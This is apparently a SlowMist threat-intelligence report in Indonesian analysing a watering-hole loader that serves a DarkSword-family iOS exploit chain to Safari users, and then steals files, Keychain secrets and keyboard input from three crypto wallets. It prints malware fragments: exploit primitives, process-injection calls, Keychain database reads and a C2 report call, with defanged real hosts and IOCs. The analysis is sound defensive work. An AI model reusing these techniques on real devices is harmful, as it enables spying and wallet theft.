Latar belakang


Halaman acara yang menjanjikan VPS gratis ini, pada kenyataannya adalah umpan. Pemulihan halaman dari arsip web publik menunjukkan bahwa event[.]polarnode[.]vip yang terdaftar pada akhir Agustus 2026 menyatakan https[:]//lk[.]wyincc[.]com/lk.js sebagai skrip pramuat, yang dimuat secara otomatis setelah halaman dapat berinteraksi, tanpa perlu klik dari pengunjung.

标题: fig:

Setelah mendekode sampel loader yang tersimpan, kami mengonfirmasi bahwa itu ditujukan untuk pengiriman melalui Safari murni di iPhone yang menjalankan iOS 18.4–18.6.2, dan pada akhirnya mengarah pada pengambilan file, Keychain, serta input keyboard, dengan target tiga aplikasi dompet. Rantai ini sangat selaras dengan rantai eksploitasi DarkSword iOS yang dipublikasikan oleh Google Threat Intelligence Group (GTIG), terkait enam CVE, dan merupakan penggunaan ulang n-day.


Analisis artikel ini berbasis pada sampel loader utama dari 1k[.]wyincc[.]com/lk[.]js dan snapshot lk[.]wyincc[.]com/lk[.]js yang disimpan oleh urlscan; analisis untuk enam CVE serta kemampuan pasca-eksploitasi dibatasi pada cabang /dist/sandbox.html.

Metode ini bukan contoh tunggal. Laporan sinkron dari socket.dev mengungkap bahwa 13 tema Packagist berbahaya memanfaatkan rantai eksploitasi dari WebKit hingga kernel untuk mencuri data perangkat dan kata sandi mnemonic dompet; CVE yang digunakan memiliki tumpang tindih dengan DarkSword pada laporan ini.
Analisis artikel ini berbasis bukti statis; sampel tidak dijalankan, iframe tidak dibuka, dan tidak ada respons yang diberikan ke browser atau mesin JavaScript. Pada tahap forensik, pengunduhan jarak jauh dan permintaan C2 gabungan dilakukan hanya dengan otorisasi terpisah, dan tidak mengirim data perangkat asli. Deskripsi kapabilitas kode dalam artikel menunjukkan adanya implementasi atau jalur pemanggilan yang sesuai; ini tidak berarti tindakan terkait benar-benar berhasil terjadi pada perangkat nyata.

Respons MistEye

MistEye adalah sistem intelijen ancaman Web3 dan pemantauan keamanan dinamis yang dikembangkan secara mandiri oleh SlowMist; sistem ini mengintegrasikan kemampuan pemantauan keamanan dan pengumpulan intelijen, memberikan peringatan risiko real-time serta perlindungan aset bagi pengguna.

Setelah menerima sampel ini, MistEye memulihkan rantai serangan lengkap mulai dari penyaringan perangkat di sisi perangkat, pengiriman iframe yang disembunyikan, hingga eksploitasi multi-tahap dan pasca-eksploitasi; mengekstrak domain terkait, IP, dan IOC file berbahaya, serta menghubungkan paket berbahaya dan IOC ke mesin deteksi ancaman, lalu mengirim peringatan risiko dan saran penanganan kepada pengguna terkait.

Berikut analisis teknis rinci.

Dekode

Sampel tidak memiliki karakter baris baru; semuanya dalam satu baris. Obfuskasinya terdiri dari tiga lapisan: sebuah array string berisi 1.025 entri, pergeseran kiri secara keseluruhan yang dilakukan oleh sebuah fungsi IIFE saat mulai, serta Base64 dan RC4 kustom yang diterapkan per string. Alfabet kustom menempatkan huruf kecil sebelum huruf besar:

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=

Hasil decoding SHA-256 adalah 38b43a6d27b08ff94a600fbe8182b4a2ba0eb744f68801a2d3454431f78e9fa5. Dekoder hanya membaca teks dan melakukan transformasi Base64/RC4 miliknya sendiri, tanpa menilai (eval) JavaScript apa pun.

Hasil pemulihan secara teks menghasilkan konfigurasi tetap: layanan side https[:]//lk[.]wyincc[.]com, endpoint SDK utama 13[.]248[.]210[.]49:36887, endpoint cadangan 66[.]117[.]225[.]238:36887, heartbeat 20 detik, device_source 782391, serta identitas klien web-sdk V1.0. Konfigurasi juga menyertakan kunci publik RSA; SHA-256-nya 85ec8a4c83463565b3a517b6ee9d010fbf6643c49a67245c64b27bd8a0e43681. Tahap berikutnya menggunakan kunci tersebut untuk mengenkripsi lalu lintas yang dikirim ke endpoint SDK.

Di konfigurasi, tiga aplikasi target layak ditandai terlebih dahulu: imToken (im.token.app), TokenPocket (com.global.wallet.ios) dan TronLink (com.tronlink.hdwallet). Set identitas yang sama muncul lagi dalam tugas pengambilan keyboard nanti.

Penargetan dan pengiriman


Hal pertama yang dilakukan setelah decoding adalah menentukan kepada siapa payload diberikan. Sampel loader utama 1k[.]wyincc[.]com pada analisis artikel ini menggunakan /iPhone OS (\d+)[_.](\d+)/i untuk mengurai navigator.userAgent; setelah menyederhanakan secara obfuscation-aritmetika, penilaian versi menjadi ekuivalen dengan:

if (major !== 18 || minor < 4 || minor > 6) return;

Pada sampel loader ini, hanya bentuk iPhone dari iOS 18.4–18.6.x yang dapat melewati. Deteksi browser juga membutuhkan Safari/, Version/ dan Mobile/... Safari secara bersamaan, serta mengecualikan Chrome, Firefox, Opera, Edge di iOS (CriOS, FxiOS, OPiOS, EdgiOS), dan juga WebView tertanam dari WeChat, QQ, Telegram, Alipay, serta sejumlah aplikasi sosial dan berita. Regex hanya mencocokkan iPhone OS, tidak cocok untuk CPU OS yang digunakan iPad.

Snapshot loader yang dirujuk sebenarnya pada halaman yang disimpan oleh urlscan tidak menghapus cabang di atas: iPhone yang menjalankan iOS 18.4–18.6.2 masih masuk ke /dist/sandbox.html. Dibandingkan dengan sampel loader pada analisis utama, ia juga memakai pencocokan perangkat global iPhone|iPod, sehingga iPod touch turut dimasukkan, serta menambahkan daftar putih iOS 15.2 hingga 17.1; versi-versi lama ini dan iPod touch diteruskan ke cabang tambahan /group.html.

Pengunjung yang tidak melalui penyaringan tidak diabaikan begitu saja. Kode menyembunyikan semua elemen anak dari halaman saat ini, menampilkan prompt multi-bahasa agar pengguna menyalin alamat lalu membukanya menggunakan Safari. Ini adalah prompt kompatibilitas, sekaligus secara proaktif mengarahkan pengunjung ke lingkungan browser yang dibutuhkan untuk eksploitasi.

标题: fig:

Pengunjung yang tersaring akan masuk ke logika eksekusi lock dan pendinginan: setelah menerima pesan pe_injected dan chain_locked, ia menulis status lokal dan cookie untuk mencegah pemicu berulang pada perangkat yang sama. UID tersusun dari timestamp dan karakter acak. Dua listener pesan hanya memeriksa event.data.type, tanpa memvalidasi event.origin atau event.source; frame lain pada halaman yang sama dapat memalsukan pesan ini untuk memicu lock atau pendinginan lebih awal.

Rantai penyerahan

Analisis lengkap rantai penyerahan berikut berlaku untuk cabang /dist/sandbox.html yang dipertahankan bersama oleh dua loader. Snapshot loader yang benar-benar dirujuk di halaman ini juga menyertakan cabang paralel tambahan /group.html, tetapi jalur tersebut dicegat oleh WAF yang mendahului dengan HTTP 403, sehingga konten hilirnya tidak diperoleh; oleh karena itu, artikel ini tidak memasukkan cabang tersebut ke dalam silsilah DarkSword yang disebutkan berikutnya, enam CVE, atau kapabilitas pengumpulan data.

Saat dijalankan pada iPhone dengan iOS 18.4–18.6.2, setelah lolos penyaringan, loader membangun iframe tersembunyi dengan template alamat yang tetap:

https://lk.wyincc.com/dist/sandbox.html?d=<URL-encoded Base64 JSON>

Konfirmasi bahwa penerusan konfigurasi dari loader awal ke sandbox.html dilakukan melalui parameter ?d= pada URL. d membawa Base64 JSON yang dikodekan URL, berisi origin situs saat ini, hostname, utm_source, UID sesi, endpoint SDK, kunci publik RSA, device_source, dan konfigurasi dompet target. Karena UID dan field situs dibuat saat runtime, tidak ada URL tahap ketiga yang unik dan tetap yang dapat dipulihkan sebelumnya. Untuk melanjutkan pelacakan, kami memperoleh sandbox.html dalam kondisi forensik menggunakan parameter yang direkonstruksi dari konfigurasi.

iframe menggunakan potongan gaya agar tetap berada di luar layar dan tidak terlihat. Setelah itu, halaman sandbox memuat chunks/vendor.js melalui elemen script dinamis. Vendor kembali memeriksa versi dan melakukan percabangan: iOS 18.6 mengunduh runtime.js lalu membungkusnya menjadi Blob Worker; iOS 18.4 dan 18.5 mengunduh runtime-legacy.js, lalu mengambil dan men-eval polyfill.js di dalam halaman. Jalur legacy RCE menyalurkan pemakaian secara sinkron melalui postMessage antara konteks halaman dan konteks Worker, serta mengoordinasikan pembuatan primitive RCE dan serah terima tahap berikutnya; ini berbeda dengan penjelasan sebelumnya yang hanya menangani listener pesan pe_injected dan chain_locked untuk eksekusi lock/pendinginan saja.

Setiap bagian berikutnya hanya diunduh setelah bagian sebelumnya berhasil. Rangkaian lengkap mencakup dua lapis pelarian sandbox; kodenya masing-masing diberi label SBX0 dan SBX1: SBX0 memindahkan eksekusi dari proses konten web ke proses GPU, dan SBX1 memindahkannya dari proses GPU ke mediaplaybackd.

  • runtime.js (18.6) memanfaatkan CVE-2025-43529 (kerusakan memori akibat cacat pengumpulan sampah di JavaScriptCore DFG JIT) bersama CVE-2026-20700 (bypass autentikasi pointer PAC user-space dyld) untuk membangun primitive eksekusi kode jarak jauh (RCE) di JavaScriptCore/WebKit: objek address addrof, pseudo-objek fakeobj, baca/tulis sewenang-wenang, penanganan PAC (pointer authentication) dan pemanggilan native; lalu secara sinkron memperoleh dan eval framework.js. runtime-legacy.js dan polyfill.js menyediakan primitive yang sama untuk 18.4/18.5, masing-masing terkait CVE-2025-31277 (kerusakan memori akibat optimasi JIT JavaScriptCore/kebingungan tipe) dan CVE-2026-20700.

// runtime.js(18.6)—— primitive RCE
function addrof(object){ return BigInt.fromDouble(p_rce.addrof(object)) }
function fakeobj(addr){ return p_rce.fakeobj(addr.asDouble()) }
// read32 / read64 / write8 / write64 dibangun di atas mekanisme fakeobj/scribble yang sama

// runtime.js —— serah terima SBX0 (eval framework.js)
print("[RCE] mulai memuat pelarian sandbox SBX0...");
const sbx0_script = getJS("framework.js?" + Date.now());
eval(sbx0_script)

  • framework.js mengimplementasikan SBX0—memanfaatkan CVE-2025-14174 (validasi parameter yang kurang dalam operasi tertentu di ANGLE/WebGL menyebabkan akses baca/tulis memori di luar batas), memindahkan eksekusi dari proses konten web ke proses GPU; setelah cabang SBX0 SUCCEEDED, memuat common.js; framework-legacy.js adalah padanan legacy-nya.

// framework.js —— Entri SBX0
print("[SBX0] ======== mulai evaluasi sbx0_main.js ========");
const { write8, read32, read64, write64, dlopen, dlsym, device_model, chipset } = p;

  • common.js mengimplementasikan SBX1—memanfaatkan CVE-2025-43510 (cacat manajemen memori write-copy (COW) pada kernel XNU), melarikan diri dari proses GPU ke mediaplaybackd dengan hak lebih tinggi, yang mencakup endpoint XPC-nya, jalur IOSurface/Scaler, dan contoh sbx1sbx1_exp, lalu memuat app.js; common-legacy.js menggunakan kembali app.js yang sudah ada.

// common.js —— jangkar mediaplaybackd SBX1 dan serah terima eskalasi hak
let XPC_ENDPOINT_REMAKER = "com.apple.coremedia.mediaplaybackd.remaker.xpc";
remaker_connection = xpc_connection_create_mach_service(XPC_ENDPOINT_REMAKER, 0n, 0n);
function spawn_pe(){ LOG("Spawning PE...."); let pe_stage1_js_data_array = new Uint8Array([...]); }

  • app.js memanfaatkan CVE-2025-43520 (kerusakan memori akibat kondisi perlombaan pada kernel pada VFS sistem file virtual XNU) untuk membangun primitive pembacaan/pemulihan kernel dan eskalasi hak, termasuk pembungkus akses baca/tulis kernel, MigFilterBypass, ekstensi sandbox applySandboxEscape, penghapusan laporan crash, serta logika koordinasi untuk memperoleh tiga plugin dan menyuntikkan ke tiga proses sistem. Ketiga plugin tersebut adalah sync.js, auth.js, dan input.js, dan memulihkan tiga skrip tugas yang sesuai dengan ketiga jenis plugin tersebut.

// app.js —— pintu masuk baca/tulis kernel dan eskalasi hak
let kernel_base = 0n; let kernel_slide = 0n; let is_a18_devices = false;
function pe_v1() { /* ... */ }

Tiga jalur injeksi masing-masing memulai satu kali pengambilan HTTP GET teks-polanya untuk memperoleh plugin, lalu menyerahkan responsnya ke proses yang sesuai:

var inject = new InjectJS("SpringBoard", agentCode, migFilterBypass);
if (inject.inject()) { ... }

Tiga target masing-masing adalah SpringBoard (sync.js), securityd (auth.js), dan kbd (input.js); tiga skrip tugas yang dipulihkan masing-masing sesuai dengan tiga jenis plugin, dan diatur oleh kode untuk menyuntikkan agen tugas. SBX0 SUCCEEDED dan SBX1 SUCCEEDED di dalam kode adalah string cabang status, bukan log sukses yang kami amati.

Perlu ditambahkan sedikit tentang sumbernya. lk[.]wyincc[.]com mengembalikan HTTP 403 untuk resource di cabang legacy (runtime-legacy.js, polyfill.js, framework-legacy.js, common-legacy.js); kami memperoleh keempat file tersebut dari node hosting payload terkait di 1k[.]wyincc[.]com. Node tersebut sebelumnya telah memverifikasi bahwa respons pada vendor.js dan runtime.js yang dibagikan adalah identik byte-per-byte dengan host yang dirujuk sebenarnya di halaman, tetapi kami tidak mengklaim bahwa file legacy ini identik byte-per-byte dengan respons lk yang tidak bisa diambil. Dua resource berbasis kondisi powercuff_light.js dan chain_status_overlay.js mengembalikan 403 dari host yang benar-benar merujuk pada halaman, sementara node hosting payload terkait mengembalikan HTML 404; tidak ada skrip yang dapat dianalisis.

Keluarga DarkSword

Ada beberapa jejak unik dalam kode yang cocok dengan sebuah alat yang didokumentasikan secara terbuka. Dalam app.js terdapat komentar "If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions", juga kelas MigFilterBypass, Chain.runPE() lalu diikuti Sandbox.applySandboxEscape(), penghapusan direktori systemgroup.com.apple.osanalytics/DiagnosticReports/, serta referensi alat startSandworm. Tanggung jawab tahap untuk percabangan versi (18.4/18.5 dan 18.6) serta tahapan SBX0 → SBX1 → PE juga konsisten dengan analisis DarkSword yang dipublikasikan oleh GTIG. Pengumuman keamanan Apple secara terpisah telah mengonfirmasi CVE dan versi perbaikannya.

App.js setelah deobfuskasi mempertahankan beberapa jejak yang langsung bisa dikenali:

// app.js —— percabangan versi migbypass (komentar khas DarkSword)
// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
if (ver.major == 24 && ver.minor >= 4) { /* migbypass */ }

// pembungkus baca/tulis kernel di dalam Chain yang tertanam di MigFilterBypassThread.js
static runPE() { /* ... */ }
static getKernelBase() { /* ... */ }
static read(srcAddr, dst, len) { /* ... */ }
static write(dst, src, len) { /* ... */ }

// referensi alat startSandworm (disimpan sebagai komentar dalam kode sumber)
// let baseKernel = startSandworm();

Karena itu, kami memetakan tahap lokal ke enam CVE:

Saat GTIG pertama kali mengamati DarkSword, CVE-2025-43529, CVE-2026-20700, dan CVE-2025-14174 termasuk 0day yang berada di alam liar; hingga aktivitas WYINCC pada September 2026, enam celah tersebut telah dipublikasikan dan mendapat perbaikan Apple, sehingga pengiriman saat ini merupakan reuse n-day dari rantai enam celah DarkSword. Status versi perbaikan dan status 0day historis merujuk pada laporan GTIG dan pengumuman keamanan Apple.

tiga tugas C2

Untuk mengetahui apa yang akhirnya dilakukan oleh proxy yang disuntikkan, kami—dengan otorisasi terpisah—menggunakan UID sintetis dan field situs kosong, lalu mengirim requestjsCode minimum ke dua endpoint SDK masing-masing dua kali. Seluruh proses tidak mengirim data registrasi perangkat, heartbeat, Keychain, keyboard, atau aplikasi.

Dua kali koneksi ke endpoint utama 13[.]248[.]210[.]49:36887 menghasilkan respons 54.773 byte; koneksi ke endpoint cadangan 66[.]117[.]225[.]238:36887 dua kali menghasilkan respons kosong. Respons dienkripsi dengan AES-256-GCM dan dibungkus menjadi frame SSP2. Kami melakukan dekripsi offline menggunakan kunci sesi tersimpan, kompresi LZFSE decompression, serta verifikasi SSP2/JSON/Base64 untuk memulihkan tiga skrip tugas. Ketiga skrip tugas tidak dieksekusi.

Tiga skrip tugas masing-masing berkorespondensi dengan sebuah proses yang disuntikkan:

  • Tugas SpringBoard dikonfigurasi menurut apps_json server; secara rekursif menelusuri file dari container aplikasi, AppGroup bersama, atau jalur absolut, mengunggah per-bagian, disertai SHA-256 per file serta resume dari titik putus; jika task_type adalah 1 atau 4, ia juga mendekode Base64 dan melakukan eval JavaScript yang dikirim dari server, lalu mengembalikan hasilnya.

  • Tugas securityd membuka /private/var/Keychains/keychain-2.db, menanyakan tabel genp dan inet, lalu mendekripsi blob data menggunakan kelas privat SecDbKeychainItemV7; setelah mengambil v_Data, acct, svce, agrp, hasilnya dilaporkan.

  • Tugas kbd memantau aplikasi yang sedang berada di latar depan; saat aplikasi dompet target berada di latar depan, melakukan polling pada ivar keyboard internal (_inputString, _contextBeforeInput, _contextAfterInput), lalu saat input selesai atau aplikasi berpindah, konten cache dilaporkan sebagai reportAppPwd.

Pengumpulan Keychain

Tugas securityd sesuai plugin auth.js. Setelah app.js mengambil GET /dist/plugins/auth.js, ia menyuntikkan kode ke securityd dengan InjectJS("securityd", ...); pemanggilan native yang dibangun melalui rantai (dlsym, objc_msgSend) langsung memanggil ObjC dari JavaScript, hanya membaca kunci buku:

sqlite3_open_v2("/private/var/Keychains/keychain-2.db", dbHandlePtr, SQLITE_OPEN_READONLY, 0)

Ia hanya melintasi dua tabel: genp (password umum) dan inet (password internet) (SELECT * dengan filter agrp LIKE '%keyword%'), maksimum 500 baris per tabel; jika kata kunci kosong, akan menjadi 1=1 untuk melintasi semuanya. Kolom data adalah BLOB terenkripsi. Kode tidak mendekripsi keybag; sebaliknya, ia menggunakan metode yang tersedia di dalam securityd: memanggil secara dinamis metode kelas privat SecDbKeychainItemV7 (initWithData:decryptionKeybag:error: dst.), mendekripsi untuk membaca nilai rahasia v_Data, lalu mengekstrak acct, svce, dan agrp:

var tables = ["genp", "inet"];
var cls = ncall("objc_getClass", _sp("SecDbKeychainItemV7"));

task_type == 3 memicu dump (kata kunci berasal dari apps_json server atau content); task_type == 4 juga dapat memperluas eval skrip server untuk pengumpulan. Hasilnya dilaporkan melalui kanal C2 yang dibungkus SSP2 / AES-256-GCM / RSA melalui reportKeychain:

sendReport("reportKeychain", { keychain: b64, task_id: taskId || "" });

Ringkasan

Kami mengonfirmasi bahwa ini adalah kerangka kerja pemicu akses multi-tahap dan pasca-eksploitasi yang ditujukan untuk iPhone Safari murni yang menjalankan iOS 18.4–18.6.2, yang sesuai dengan keluarga DarkSword. Risiko tertuju pada tiga aplikasi dompet—imToken, TokenPocket, dan TronLink—: kodenya memiliki kemampuan browser RCE, dua lapis pelarian sandbox, pembacaan/pemulihan kernel, dan injeksi agen ke SpringBoard, securityd, serta kbd; objek pengumpulan mencakup file, Keychain, dan input keyboard.

Tiga item 0day yang ditemukan di alam liar pertama kali saat DarkSword diamati oleh GTIG semuanya telah dipublikasikan dan mendapat perbaikan Apple pada periode aktivitas ini. Pengiriman saat ini milik WYINCC dapat dikualifikasikan sebagai reuse n-day dari rantai enam celah. Snapshot loader yang dirujuk oleh halaman lk[.]wyincc[.]com juga memuat cabang /group.html yang ditujukan untuk versi iOS lama dan iPod touch, tetapi cabang tersebut dicegat oleh WAF yang mendahului dengan HTTP 403 dan tidak memperoleh konten hilir; oleh karena itu, kesimpulan enam CVE dan pengumpulan data hanya berlaku untuk cabang /dist/sandbox.html.

Saran

  1. Dengan memblokir wyincc[.]com, polarnode[.]vip, dan tiga endpoint 36887 pada batas jaringan (proxy, DNS, EDR/NDR), lakukan pengambilan log untuk melihat akses iPhone UA yang menjalankan iOS 18.4–18.6.2 ke path seperti /dist/sandbox.html, /dist/chunks/, /dist/plugins/, dll., serta mengambil akses UA untuk iOS 15.2 hingga 17.1 (termasuk kemungkinan iPod touch) ke /group.html. Yang pertama termasuk rantai lengkap yang sudah terekspos; yang kedua hanya dapat mengonfirmasi pemenuhan pada cabang hilir yang tidak berhasil diperoleh kali ini, dan tidak bisa langsung diterapkan pada kesimpulan enam CVE atau pengumpulan data dompet.

  2. Jika situs milik sendiri pernah disuntikkan skrip ini, hapus skrip dari halaman, CDN, dan cache penyimpanan objek, verifikasi sumber penyertaan template, tag manager, dan iklan, lalu terapkan pembatasan CSP/SRI agar skrip pihak ketiga tidak mewarisi konteks situs.

  3. Untuk perangkat iPhone yang memang pernah mengakses halaman pengiriman dan menjalankan Safari iOS 18.4–18.6.2, utamakan forensik dengan mengumpulkan sejarah Safari, crash WebKit, kelainan proses, serta catatan akses Keychain. Untuk perangkat iPhone atau iPod touch yang terkena /group.html dengan iOS 15.2 hingga 17.1, simpan bukti dasar yang sama; namun jangan menyimpulkan bahwa eksploit berhasil atau data terkumpul hanya berdasarkan kecocokan path.

  4. Untuk pengguna dompet target berikut: imToken, TokenPocket, dan TronLink, gunakan hasil forensik perangkat untuk memutuskan apakah akan mengganti kredensial, mencabut sesi, memantau alamat dan transaksi di blockchain; jangan hanya menyimpulkan kunci privat atau mnemonic sudah bocor berdasarkan catatan akses.

  5. Tingkatkan perangkat ke versi yang telah diperbaiki Apple (iOS/iPadOS 18.7.3 atau 26.3 ke atas), serta simpan respons asli, kunci sesi, dan hash untuk analisis korelasi berikutnya.

IOC


domain


1k[.]wyincc[.]com

lk[.]wyincc[.]com
event[.]polarnode[.]vip
polarnode[.]vip


IP


13[.]248[.]210[.]49

66[.]117[.]225[.]238

166[.]117[.]225[.]238


URL


13[.]248[.]210[.]49:36887

66[.]117[.]225[.]238:36887

166[.]117[.]225[.]238:36887

https[.]//lk[.]wyincc[.]com/lk.js

https[.]//1k[.]wyincc[.]com/lk.js

file berbahaya


filename: lk.js 

SHA256: 89912ab03eb2d02746e52df7b17035082d973234f249098caec11684e665c337

filename: lk.js

SHA256: 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70
filename: sandbox.html 

SHA256: 953cfa9bf94304ad453eab706cd7cc92cde68eb6ea3c85652aa9040609e75f54

filename: vendor.js 

SHA256: 52e2208a37c6dda971c9a67333dbcf526531745feb426a91ace9741ad178f510
filename: runtime.js 

SHA256: a5ebcbd5c744865535dd75d8742c99bc06b548dc2606ac6f116843b54451f73b
filename: runtime-legacy.js 

SHA256: afdb430bafc3c441ada98fe4a165fd1ad3a38ff5789517c5dd3f83a143706d53
filename: polyfill.js 

SHA256: f0409f0d1c134be43dcd697b4715cca64efa66e482d252744163f552050cd236
filename: framework.js 

SHA256: 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b
filename: framework-legacy.js 

SHA256: 36b43f98c7f4d2d5a0f14ce8a5bdfd2fc055f8628da4a2d9ece2402385447f1e
filename: common.js 

SHA256: 69e357f06ee87ea934b328c4e701d1d48dcfcef51352bb61c64ef89424c029d8
filename: common-legacy.js 

SHA256: 693af544eb4deb194f481a870f1202fefb0c278820bb23bced85cd354d29a63e
filename: app.js 

SHA256: ab356a2bbdbb7f8e9327e10a2cf6d35ca0c4dbba06d982f559b00d13d31f3017
filename: sync.js 

SHA256: 6eda3586102cf35ca53189accd2f56fec63a8adf74ccf93b59aed1e7651a690f
filename: auth.js 

SHA256: 78406a0c68043df99cea87f280e8307675c285ca9d88f5a56aa9901c6f503d11
filename: input.js 

SHA256: 3a2341a13a7c4854bc203be18eebd11f716e043540a91974ef6d6d12253f6c9d

Tentang MistEye


MistEye adalah platform intelijen ancaman Web3 dan pemantauan keamanan dinamis yang dikembangkan sendiri oleh SlowMist; melalui API, ia menyediakan kemampuan deteksi aktivitas berbahaya dari ekosistem open-source paket dan peringatan risiko pada rantai pasokan.


Semua paket berbahaya dan IOC yang terlibat dalam aksi ini telah diintegrasikan ke mesin deteksi ancaman MistEye; pengembang dapat melakukan deteksi otomatis pada dependensi proyek melalui API, dengan cepat menentukan apakah telah mengenai paket berbahaya yang diketahui, serta memperoleh saran penanganan.


📖 Dokumentasi API: https://app.misteye.io/api-docs


🛠️ MistEye-DepScan: https://github.com/slowmist/MistEye-DepScan alat CLI ringan, pemindaian satu baris untuk dependensi proyek dan paket instalasi global yang sudah dikenal berbahaya; mendukung ekosistem npm / PyPI / Cargo / Go / RubyGems


🛠️ MistEye-Skills: https://github.com/slowmist/misteye-skills AI paket kemampuan keamanan asisten pengkodean; memicu deteksi keamanan MistEye secara otomatis sebelum instalasi dependensi dan akses URL


🛠️ MistEye-DNS-Guard: https://github.com/slowmist/MistEye-DNS-Guard alat perlindungan DNS yang mendeteksi domain berbahaya dan akses berisiko, serta mengidentifikasi ancaman jaringan seperti phishing dan C2, dll.


Artikel ini ditulis oleh tim intelijen ancaman SlowMist bekerja sama dengan sistem intelijen ancaman MistEye; serta analisis yang digerakkan oleh agen AI SlowMist. Jika ada pertanyaan, silakan hubungi untuk konsultasi dan umpan balik.


Referensi

[1]https://socket.dev/blog/packagist-themes-ios-spyware

[2]https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain

[3]https://support.apple.com/en-bw/125885

[4]https://support.apple.com/en-me/125633

[5]https://support.apple.com/en-us/126346

[6]https://www.nodeseek.com/post-905477-1